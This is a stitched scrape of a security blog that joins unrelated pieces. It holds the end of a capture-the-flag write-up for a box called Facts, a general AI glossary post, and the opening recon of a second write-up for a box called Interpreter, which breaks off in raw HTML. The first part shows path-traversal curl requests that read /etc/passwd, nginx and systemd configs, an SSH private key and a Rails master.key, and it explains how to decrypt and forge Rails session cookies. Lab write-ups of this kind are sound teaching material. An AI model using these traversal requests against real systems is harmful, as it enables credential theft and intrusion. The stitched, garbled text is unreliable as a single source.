root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false

I’ll note the users, trivia and william.

Find WebApp Filesystem Location

I need to figure out where on the filesystem the FactsApp lives. nginx config isn’t helpful:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../etc/nginx/sites-enabled/default -b cookie.jar
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        if ($host != facts.htb) {
                rewrite ^ http://facts.htb/;
        }


        root /var/www/html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

}

This shows the redirect to the hostname. I can guess at config file names, and find it at facts.htb:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../etc/nginx/sites-enabled/facts.htb -b cookie.jar
server {
    listen 80;
    server_name facts.htb;

    # Rails app
    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location = /randomfacts/ {
        return 403;
    }

    # LocalStack S3 API (for dev thumbnails / file access)
    location /randomfacts/ {
        proxy_pass http://127.0.0.1:54321/randomfacts/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        autoindex off;
    }

}

This shows a proxy to port 3000 on localhost, but doesn’t show the location of the application.

I am able to guess the location of the service file!

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../etc/systemd/system/factsapp.service -b cookie.jar
[Unit]
Description=FactsApp Rails Service
After=ministack.service
Requires=ministack.service

[Service]
Type=simple
User=trivia
WorkingDirectory=/opt/factsapp
Environment="GEM_HOME=/opt/.local/share/gem"
Environment="BUNDLE_PATH=/opt/.local/share/gem"
Environment="PATH=/opt/.local/share/gem/:/usr/local/bin:/usr/bin:/bin"
ExecStart=/opt/.local/share/gem/bin/rails server -e production -b 127.0.0.1 -p 3000
Restart=on-failure

[Install]
WantedBy=multi-user.target

The app is in /opt/factsapp, and it’s running as the trivia user.

SSH Keys

passwd shows that trivia’s home directory is /home/trivia, and factsapp.service shows that the application runs as that user. I’ll check for SSH keys. /home/trivia/.ssh/id_rsa returns 404. I can grab the authorized_keys file:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../home/trivia/.ssh/authorized_keys -b cookie.jar
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWYeZZS4gDH8+z1yn1hjRCpUfzY3RiH21fXq9qQIHqV 

It has a ED25519 key! I’ll check for that under the default name:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../home/trivia/.ssh/id_ed25519 -b cookie.jar
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAHW8s04W
...[snip]...
b4DSiCkcGuXvh28gzyxAsBnofoescym+OlJiA=
-----END OPENSSH PRIVATE KEY-----

I’ll crack that just like I did above, and get a shell:

oxdf@hacky$ ssh -i ~/keys/facts-trivia trivia@facts.htb
Enter passphrase for key '/home/oxdf/keys/facts-trivia':
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
...[snip]...
trivia@facts:~$

Ruby Secrets

Knowing where the app is, I’ll get the master_key:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../opt/factsapp/config/master.key -b cookie.jar
b0650437b2208a9fab449fb92f67bc40

I’ll also grab credentials.yml.enc:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../opt/factsapp/config/credentials.yml.enc -b cookie.jar
SdpgX1MrbZfzLeRyMaP1/OMkbGQpScKdTPyFV4UeS7UHBlE7CTyX6GqaMh2Z/9eMzNlLrsJfbIMehlk0twL1x4wQyO9MjoahoxfNU2fm9Jsan//ZfOX8w5xspnrmSSY+AGd/0E24dsvD3fgNi/JnwzVi6wwfO97L6ZfNKkTqQVPxLCgYFDtEJHjAswGhNWwhlO6DQsOd7p2M/DK8Vsp0y7IrlTNna+cWAp93qo8N/kvDa8/YP4nJZnX9ffSFYf3CPTaSGj1ZwGCpnTJsULEADbLcnKIsyUbVFqrOVJDQrAlgQN7pvcZTAn9NN0meeYCVooKgbR8d1YLzJwJ75htdrQhiX8wXfi2FdsBbTLrYr8VEFCmPC6bRufvjdfQTvvQjnxgzUxbjh4z/4f3tWXTxlWCc0ExYFEwCyLrsfe5sdsqyxyA4knImPkDz/7JHSioX81bSEjmoFowh6fDlrkofxG3g6B5FDfvRu4GSEiJNN07Ma+EJR9tyQzMj--yMP6E8YydRfUIvNQ--WLJbhDu9CWS8smr6vrTOfQ==

I can decrypt the credentials.yml file using the master_key in CyberChef. I’ll manually break the encryption blob into three parts, splitting on --. The first is the input, which needs to be base64-decoded. The second is the IV, and the third is the GCM Tag. The “key” is the master_key in hex:

The secret_key_base is used to derive keys for other decrypts. I’ll decrypt my cookie, which I can URL decode and break down to:

CT (segment 1)
Segment: zbL5ODI4fcl0lCUxWTVJX2NMQxnv9Je+LsKPjSmJmBKrQkys7wWWd32FRYRWrhvtbI5yriQLDB1MTQqRSXacyGfzFJZUjxxyQ1ffc0WIvqxS1+yy1YOTqVNyfTdbqj3GrBtyk2Ctxj0LtwRAG6BB1gVbtDM0UoD7oOoXyLtmLBYm1N155iJSvGaYFFBUoSrgxcH0N+5wg/8ZhX6yUGhpOaMTQwC9cDM7MeNKlf5ZFg9m+fMMgY9SqGr3Qf/sM1Ff/y+xwAugBdYpt9QCY8IfNB91jfU9H+KUDYYDgCCywVxsJixBOea4tafb8MJHt017HNsnJsQ=
────────────────────────────────────────
IV (segment 2)
Segment: qxZR53Msp3Z3y7sJ
────────────────────────────────────────
TAG (segment 3)
Segment: FRxnfc+4ddkTH354yv5Npg==

I’ll use the secret_key_base to derive the key:

Ruby uses “authenticated encrypted cookie” as the salt. I’ll take the resulting key along with the IV and TAG to decrypt the CT from the cookie:

With this, I could craft new cookie data and re-encrypt it.

AI Glossary

2026-06-04T09:00:00+00:00

AI as a technology is moving fast. From the time ChatGPT went mainstream in 2023, it’s grown from a cute way to generate funny poems to a defining technology that is likely to change everything. With its amazingly quick rise, it’s tricky to get the terms and language correct. Even the tech media doesn’t understand it, comparing Mythos to MDASH to Daybreak, when those comparisons make no sense! Let’s understand models vs harnesses vs labs vs initiatives and all that lays between.

Examples

The full explanations are below, but here are some examples:

Frontier AI Labs	Anthropic OpenAI Google DeepMind xAI
Open Weight Labs	DeepSeek Meta Mistral
Models	Claude Sonnet 4.6, Claude Opus 4.8, Claude Mythos Preview GPT-5.5, GPT-5.4-mini Gemini 3.5 Flash, Gemini 3.1 Pro DeepSeek V4 Llama 4 Mistral Large 3, Magistral
Clients	Claude.ai, Claude Code ChatGPT, Codex Gemini Perplexity Cursor, Windsurf, GitHub Copilot Project MDASH, Claude Security, Iron Curtain
Initiatives	Glasswing, Daybreak

Definitions

AI Foundations

LLMs

LLM stands for Large Language Model. All modern AI models at this time are LLMs, and every client, harness, and initiative is built around using them.

An LLM is trained on huge amounts of text from the internet, books, and code, and during that process it learns the statistical patterns of language well enough to generate plausible continuations of whatever text you give it. The result of that training is a “model” that gets used to generate output one piece at a time. Modern LLMs also handle code, math, images, audio, and video.

Model

A model in practice is a specific trained artifact with a name and a version. It is made up of a giant collection of numerical weights (often tens to hundreds of billions of parameters).

Labs typically ship a family of models tuned for different cost and capability trade-offs. Anthropic has Claude Opus (largest, most capable, slowest, most expensive), Claude Sonnet (mid-tier balance), and Claude Haiku (smallest, cheapest, fastest). OpenAI has GPT-5.5 and GPT-5.4-mini. Google has Gemini Pro and Gemini Flash.

Within a family, models are versioned. Version numbers are not directly comparable across labs and don’t always map cleanly to capability even within a lab. Release notes and benchmark publications are more reliable indicators than version numbers.

Tokens

Tokens are how a model sees text. Internally, an LLM doesn’t read characters or words, it reads tokens. A token is a chunk of text decided during model training. Most common words are one token, but less common words get split into pieces. For example, “strawberry” might be split into “straw” and “berry” by some tokenizers.

Tokens matter practically for a few reasons.

Pricing for LLM usage is usually per-token, with separate rates for what you send (input tokens) and what the model returns (output tokens).
The context window, which is how much information the model can see at once, is measured in tokens.
A famous failure mode where models miscount the letters in “strawberry” stems from the model seeing tokens, not letters.

A rule of thumb is that one token is roughly 4 English characters, or about 0.75 of a word.

Context Window

The context window is the maximum amount of input a model can consider at once, measured in tokens. Anything beyond that limit gets dropped, truncated, or compressed.

Modern frontier models offer windows from around 200,000 tokens (a moderate book) up to 1 million tokens or more (a small library). A larger window lets the model see more code, more files, or longer conversations. Bigger context also costs more per call and often makes responses slower, because the model has to attend to every token in the window.

When a conversation runs longer than the window can hold, the client has to make a choice about what to drop, summarize, or compress. This is why long chat sessions can “forget” earlier details.

Reasoning Models

Most modern frontier models can run in either a normal mode or a “thinking” or “reasoning” mode. In thinking mode, the model spends extra tokens working through a problem before producing its final answer, much like a human writing scratch notes. Anthropic calls this “extended thinking”, OpenAI’s o-series and DeepSeek’s R-series are designed around it, and Google has thinking variants of Gemini.

Thinking mode usually produces better results for complex tasks, especially math, coding, and multi-step reasoning, but it’s slower and uses more tokens. Some models let the caller decide how much thinking budget to spend, and some clients hide the thinking tokens from the user and only show the final answer.

Tools / MCPs

A modern LLM can do more than just respond with text. Most of them are trained to output structured “tool calls” that the client can execute on the model’s behalf. A tool can be anything the client decides to expose, such as reading a file, querying a database, browsing the web, running a shell command, or sending an email.

Here’s how the flow works.

The client provides the model a list of the tools available, with their names, descriptions, and parameters.
The model, when generating its response, can generate a tool call instead of (or in addition to) text.
The client sees the tool call, and rather than showing the user, instead runs the underlying function, and feeds the result back to the model as more context.
The model continues its response with the new information.

This is how clients go beyond chat to edit files, run tests, and search the web.

MCP stands for Model Context Protocol. It’s an open standard introduced by Anthropic in late 2024 that defines a common way for tool servers and clients to talk to each other. Without MCP, every client had to implement custom integrations for every tool. With MCP, a tool server (for example, one that exposes a GitHub repo) can be plugged into any MCP-compatible client. MCP has been broadly adopted across the major clients.

AI Labs

AI labs are the companies and research organizations that train and release the underlying models. They fall into two main groups based on what they release to the public. Frontier labs train at the leading edge but keep their model weights private, exposing access through APIs and their own clients. Open weight labs publish the trained weights for anyone to download and run. A small subset go further and publish enough of the training pipeline that the model can be reproduced from scratch.

Frontier

The “frontier” refers to the leading edge of AI capability. A frontier lab is one that trains models at or near that edge, with training runs costing on the order of hundreds of millions to billions of dollars. Three labs are widely considered frontier in the Western ecosystem.

Anthropic makes the Claude family of models. Founded in 2021 by former OpenAI researchers, with a focus on AI safety research.
OpenAI makes the GPT family. Their consumer launch of ChatGPT in November 2022 brought modern AI into the mainstream.
Google DeepMind is Google’s AI research arm, formed by merging Google Brain with DeepMind. Makers of the Gemini family of models.

Frontier labs keep their model weights private. To use their models, you go through their API or one of their official clients. You can’t download the model and run it on your own hardware.

Open Weight

Open weight labs train models and release the weights publicly. Anyone can download a copy and run it on their own hardware, host it on a cloud provider, or fine-tune it for their own purposes. The most prominent open weight labs include:

DeepSeek, a Chinese lab whose V3 and R1 model releases in early 2025 shifted the field by matching frontier benchmarks at a fraction of the training cost.
Meta, which releases the Llama family with open weights.
Mistral, a French lab releasing the Mistral and Magistral families.

The weights (the giant pile of numbers that make up the trained model) are downloadable, but the training data and exact training process are usually kept private. So you can run and modify the model, but you can’t fully reproduce it from scratch.

Most people don’t run open weight models on their own hardware. Instead, hosted inference providers like Together AI, Fireworks, Groq, Cerebras, and OpenRouter serve these models over an API for less than the frontier labs charge for theirs.

Open Source

Open weight is not the same as open source. “Open weight” only means the model’s trained weights are downloadable. The training data, training code, and exact training process are usually kept private.

True open source AI models, where the training data, training code, and the model weights are all published, are much rarer. The Allen Institute for AI releases OLMo under a fully open philosophy, including not just the weights but also the training data, training scripts, and intermediate checkpoints. EleutherAI has done similar work with the Pythia model series, with a focus on making research reproducible.

Open source models tend to lag behind the frontier in raw capability, but they let researchers study exactly how a model came to be the way it is, which closed and open weight releases don’t allow.

Clients

The client is what connects the user to the model, and handles the response. Clients are responsible for deciding if the response should be directly displayed to the user, or if tool calls should be made and actions taken. The client manages the interactions between the user, the model, and any tool calls / filesystem that’s available to it.

Raw API

Users don’t just interact with a model. They need a client. At the most basic level, there’s an API, where users can send a simple HTTP request to interact with the model:

curl https://api.anthropic.com/v1/messages \
  -H "content-type: application/json" \
  -H "x-api-key: $ANTHROPIC_API_KEY" \
  -H "anthropic-version: 2023-06-01" \
  -d '{
    "model": "claude-opus-4-8",
    "max_tokens": 1024,
    "messages": [{
      "role": "user",
      "content": "Hello, Claude"
    }]
  }'

Web UIs

While this is useful for building products / programs / scripts that use AI, it’s not what most users need. The most common interface for AI models is through web user interfaces (UIs), such as claude.ai, ChatGPT, or Gemini.

There are other websites that use the frontier models via the API but provide their own interface, such as Perplexity.ai. Perplexity uses its own proprietary Sonar model (based on Meta’s open source model), as well as makes API calls to other models for specific tasks to give what it considers the best user experience.

Custom IDEs / IDE Plugins

Most of the major models have extensions for IDEs like VS Code. These plugins provide a window alongside the IDE and interact with it and the code in the current directory to help with coding projects. There’s also GitHub Copilot and other plugins that work across frontier models and bill monthly with usage limits.

There are also custom IDEs like Cursor and Devin (formerly Windsurf) that allow connecting to different models and provide the integrated AI coding experience.

Terminal UIs

Claude Code from Anthropic was the first terminal AI client, and has since been followed up with Codex from OpenAI. These are very similar to working in an IDE, just from the raw command line.

These handle the same kinds of projects as the IDEs, with access to the filesystem as well as the model and tools.

Harnesses

A harness is a specialized client built around a single workflow rather than a general chat interface. Rather than giving the user a blank slate, a harness has a specific input with a series of prompts and other handlers designed to drive toward a goal. Some examples:

Microsoft has Project MDASH, a multi-model agentic security system that “orchestrates more than 100 specialized AI agents across an ensemble of frontier and distilled models to discover, debate, and prove exploitable bugs end-to-end.”
Anthropic has Claude Security, which takes a GitHub repo and has a similar orchestration to scan code for vulnerabilities, validate findings, and propose patches.
Iron Curtain, a secure runtime for AI agents from Niels Provos.

Initiatives

An “Initiative” in this glossary refers to a large lab-led campaign that gives a defined cohort of partners access to a particular model or capability under specific terms. Initiatives are not models (the thing producing tokens) and not harnesses (specialized clients). They are usually announced with a name, a target use case, and a pool of usage credits or compute.

Glasswing is an initiative from Anthropic that brought together 40 major software providers with the goal of using the most capable (at the time) AI models to identify and fix vulnerabilities in their applications. Anthropic opted to not release their Mythos Preview model for general use, instead granting access to these companies, each with $100 million in usage credits. They also contributed $4 million worth of credits to open source maintainers.

OpenAI followed about five weeks later with Daybreak. It’s not totally clear what exactly Daybreak is on the page. Its goal is to use AI to “accelerate cyber defenders and continuously secure software”, but it doesn’t really say how, other than to show different access tiers for levels of safeguards applied.

HTB: Interpreter

2026-05-30T13:45:00+00:00

Interpreter is a Linux box hosting Mirth Connect, a Java-based healthcare integration engine. I’ll exploit an unauthenticated XStream deserialization vulnerability in the Mirth API to get remote code execution and a foothold as the mirth service account. From the Mirth config I’ll grab database credentials, dump a user password hash from MariaDB, and crack it to pivot to the next user. For root, I’ll abuse a localhost Flask notification server that wraps XML-supplied fields in an evaluated f-string, allowing Python code execution as root.

Box Info

Interpreter

Medium

Release Date 21 Feb 2026

Retire Date 30 May 2026

OS Linux

Rated Difficulty

Radar Graph

User

00:19:23

Root

00:19:48

Creator

Recon

Initial Scanning

nmap finds four open TCP ports, SSH (22), HTTP (80), HTTPS (443), and something unknown (6661):

oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-21 20:30 UTC
Nmap scan report for 10.129.244.184
Host is up, received reset ttl 63 (0.020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
443/tcp  open  https   syn-ack ttl 63
6661/tcp open  unknown syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds
oxdf@hacky$ sudo nmap -p 22,80,443,6661 -sCV 10.129.244.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-21 20:30 UTC
Nmap scan report for 10.129.244.184
Host is up (0.020s latency).

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http
|_http-title: Mirth Connect Administrator
| http-methods:
|_  Potentially risky methods: TRACE
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 458
|     
|     
|     
|     Error 404 Not Found
|     
|     HTTP ERROR 404 Not Found
|     
|     
|     
|     
|     
|     URI:/nice%20ports%2C/Tri%6Eity.txt%2ebak
STATUS:404
MESSAGE:Not Found
SERVLET:org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-3d7dbe10

|     
|     
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Thu, 21 May 2026 20:30:29 GMT
|     Last-Modified: Tue, 18 Jul 2023 17:46:18 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 2532
|     
|     
|     
|     
|     
|     
|     
|     Mirth Connect Administrator
|     
|     
|     
|     
|     
|     \n\n\tBad\x20Message\x20505re
SF:ason:\x20Unknown\x20Version")%r(X11Probe,C3,"HTTP/1\.1\x20400\x20
SF:Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset=
SF:iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n
SF:Bad\x20Message\x20400reason:\x20Illegal\x20character\x20CNTL=
SF:0x0")%r(FourOhFourRequest,257,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nCache-Control:\x20must-revalidate,no-cache,no-store\r\nContent-Type:\
SF:x20text/html;charset=iso-8859-1\r\nContent-Length:\x20458\r\n\r\n
SF:\n\n\nError\x20404\x20Not\x20Found\n\nHTTP\x20ERROR\x20404\x20Not\x20Found\n\n\n
SF:\n\n\nURI:/nice%20ports%2C/Tri%6Eity\.txt%2ebak
STATUS:404
MESSAGE:Not\x20Foun
SF:d
SERVLET:org\.eclipse\.jetty\.servlet\.Ser
SF:vletHandler\$Default404Servlet-3d7dbe10
\n\n\
SF:n\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port443-TCP:V=7.94SVN%T=SSL%I=7%D=5/21%Time=6A0F6B78%P=x86_64-pc-linux-
SF:gnu%r(GetRequest,A8F,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2021\x20
SF:May\x202026\x2020:30:36\x20GMT\r\nLast-Modified:\x20Tue,\x2018\x20Jul\x
SF:202023\x2017:46:18\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Range
SF:s:\x20bytes\r\nContent-Length:\x202532\r\n\r\n\n\n\n\t\n\t\n\t\n\t\n\t\n\tMirth\x20Connect\x20Administrator\n\t\n\
SF:t\n\t\n\t\n\t\
SF:n\t\n\t\t/\*\x20Break\x20out\x20of\
SF:x20frame\x20if\x20inside\x20a\x20frame\.\x20\*/\n\t\tif\x20\(window\x20
SF:!=\x20window\.top\)\x20{\n\t\t\twindow\.top\.location\x20=\x20window\.l
SF:ocation;\n\t\t}\n\t\n\n\t\n\n\nError\x20404\x20Not\x20Found</ti
SF:tle>\n</head>\n<body><h2>HTTP\x20ERROR\x20404\x20Not\x20Found</h2>\n<ta
SF:ble>\n<tr><th>URI:</th><td>/nice%20ports%2C/Tri%6Eity\.txt%2ebak</td></
SF:tr>\n<tr><th>STATUS:</th><td>404</td></tr>\n<tr><th>MESSAGE:</th><td>No
SF:t\x20Found</td></tr>\n<tr><th>SERVLET:</th><td>org\.eclipse\.jetty\.ser
SF:vlet\.ServletHandler\$Default404Servlet-3d7dbe10</td></tr>\n</table>\n\
SF:n</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.76 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#debian">OpenSSH version</a>, the host is likely running Debian 12 Bookworm (from 2023).</p>

<p>All of the ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<p>There’s a string in both of the web port scans that contains “jetty”, suggesting this may be a Java webserver.</p>

<h3 id="website---tcp-80--443">Website - TCP 80 / 443</h3>

<h4 id="site">Site</h4>

<p>The site offers a login page for Mirth Connect by NextGen Healthcare:</p>


    
    
</picture>

<p>The only difference on HTTP is that it doesn’t let you log in, instead offering a link to the HTTPS URL:</p>


    
    
</picture>

<p>I don’t have any creds and no simple guesses work:</p>


    
    
</picture>

<p>The “Launch Mirth Connect Administrator” link downloads a <code class="language-plaintext highlighter-rouge">webstart.jnlp</code> file. “Download Administrator Launcher” is a shell script, <code class="language-plaintext highlighter-rouge">mirth-administrator-launcher-latest-unix.sh</code>.</p>

<p><a href="https://github.com/nextgenhealthcare/connect">Mirth Connect by NextGen Healthcare</a> is real open-source software. It’s a Java-based healthcare integration engine. It receives, filters, transforms, and routes messages between healthcare systems using configurable “channels”. It’s primarily built around Health Level Seven (HL7) data but also handles DICOM, X12/EDI, XML, and JSON. Channel filters and transformers are written in JavaScript and run through an embedded Rhino interpreter.</p>

<p>The <code class="language-plaintext highlighter-rouge">.jnlp</code> and <code class="language-plaintext highlighter-rouge">.sh</code> files are both ways to set up the Administrator thick client that connects to the server. A web interface also exists, the Web Dashboard, but it only shows channel and message monitoring stats. All real configuration happens in the thick client.</p>

<h4 id="client">Client</h4>

<p>It’s not necessary to solve the box, but to understand the intended behavior, I can install the client using the <code class="language-plaintext highlighter-rouge">.sh</code> script. It’s actually an interesting script.</p>

<p>It’s named like a shell script and starts like one, but the body is mostly binary, and the file is huge:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>file mirth-administrator-launcher-latest-unix.sh 
<span class="go">mirth-administrator-launcher-latest-unix.sh: POSIX shell script executable (binary data)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-lh</span> mirth-administrator-launcher-latest-unix.sh 
<span class="go">-rwxrwx--- 1 root vboxsf 226M Sep 23  2024 mirth-administrator-launcher-latest-unix.sh
</span></code></pre></div></div>

<p>226 MB of “shell script”. The first few hundred lines are real POSIX shell that hunts down a usable JRE on the host. After that, at line 671, the script becomes a bunch of binary data:</p>


    
    
</picture>

<p>At line 475, it shows how this is used:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tail</span> <span class="nt">-c</span> 87626702 <span class="s2">"</span><span class="nv">$prg_dir</span><span class="s2">/</span><span class="k">${</span><span class="nv">progname</span><span class="k">}</span><span class="s2">"</span> <span class="o">></span> sfx_archive.tar.gz 2> /dev/null
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">tail -c 87626702</code> grabs the last ~84 MB of the file by byte count. I’ll do that myself:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tail</span> <span class="nt">-c</span> 87626702 mirth-administrator-launcher-latest-unix.sh <span class="o">></span> sfx_archive.tar.gz
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file sfx_archive.tar.gz 
<span class="go">sfx_archive.tar.gz: gzip compressed data, original size modulo 2^32 90065408
</span></code></pre></div></div>

<p>It’s a <code class="language-plaintext highlighter-rouge">.tar.gz</code> archive:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">gunzip </span>sfx_archive.tar.gz 
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file sfx_archive.tar 
<span class="go">sfx_archive.tar: POSIX tar archive
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tar </span>tf sfx_archive.tar
<span class="go">i4jparams.conf
i4jempty.ttf
i4j_extf_10_1fr4isd_18gg8kx@2x_dark.png
i4j_extf_5_1fr4isd_x7nby6.png
i4j_extf_12_1fr4isd_5pr459.png
libi4jinst.dylib
i4j_extf_6_1fr4isd_vd2dea.png
i4j_extf_2_1fr4isd.txt
i4j_extf_11_1fr4isd_1rpumog.png
i4j_extf_4_1fr4isd_rhc5ay.icns
launchers.xml
jre.tar.gz
i4j_extf_3_1fr4isd_gz8ncf.ico
i4j_extf_7_1fr4isd_un9apv.png
MessagesDefault
libi4jinst2.dylib
i4j_extf_8_1fr4isd_1xth8wx.png
i4j_extf_1_1fr4isd
i4j_extf_9_1fr4isd_259ij1.png
i4j_extf_10_1fr4isd_18gg8kx@2x.png
i4j_extf_10_1fr4isd_18gg8kx_dark.png
stats.properties
user.jar
i4j_extf_0_1fr4isd.utf8
user
user/flatlaf.jar
i4j_extf_10_1fr4isd_18gg8kx.png
i4jruntime.jar
launcher0.jar
launcher7b9c3515.jar
launcher4fd1c277.jar
launcher2bfa42ba.jar
</span></code></pre></div></div>

<p>The script gunzips the binary data, untars it into a temp directory, and the extracted tree contains a bundled JRE and a Java installer class that the shell then runs with <code class="language-plaintext highlighter-rouge">java</code>. This is the <a href="https://www.ej-technologies.com/products/install4j/overview.html">install4j</a> self-extracting installer pattern, where one <code class="language-plaintext highlighter-rouge">.sh</code> is both the launcher and the entire payload.</p>

<p>When I run it as root, it pops up an installer:</p>


    
    
</picture>

<p>Stepping through the screens, it shows that it comes with a Java installation:</p>


    
    
</picture>

<p>Once it installed and opens, the initial screen is looking for connection information:</p>


    
    
</picture>

<p>I’ll enter <code class="language-plaintext highlighter-rouge">https://<interface ip></code>, and it downloads some stuff, and pops a window looking for creds:</p>


    
    
</picture>

<h4 id="api">API</h4>

<p>At <code class="language-plaintext highlighter-rouge">/api</code>, there’s swagger-style documentation for the API:</p>

<div style="position: relative; min-height: 400px;">
    
        
        
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"></a>
</div>

<p>Everything I try returns 401:</p>


    
    
</picture>

<p>I’ll need auth or a pre-auth exploit.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The web application is clearly Java based, as is the client. The HTTP response headers don’t show anything interesting.</p>

<p>The 404 page is a <a href="/cheatsheets/404#jetty">Jetty 404</a>:</p>


    
    
</picture>

<p>This is the 404 page that Jetty serves when it reaches a servlet context but no servlet handles it (no added to the default 404s page).</p>

<p>I know this is also Mirth Connect, and the <code class="language-plaintext highlighter-rouge">.jnlp</code> file shows the version of 4.4.0:</p>

<div class="language-xml code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="nt"><jnlp</span> <span class="na">codebase=</span><span class="s">"https://10.129.244.184:443"</span> <span class="na">version=</span><span class="s">"4.4.0"</span><span class="nt">></span>

    <span class="nt"><information></span>

        <span class="nt"><title></span>Mirth Connect Administrator 4.4.0<span class="nt">

        NextGen Healthcare

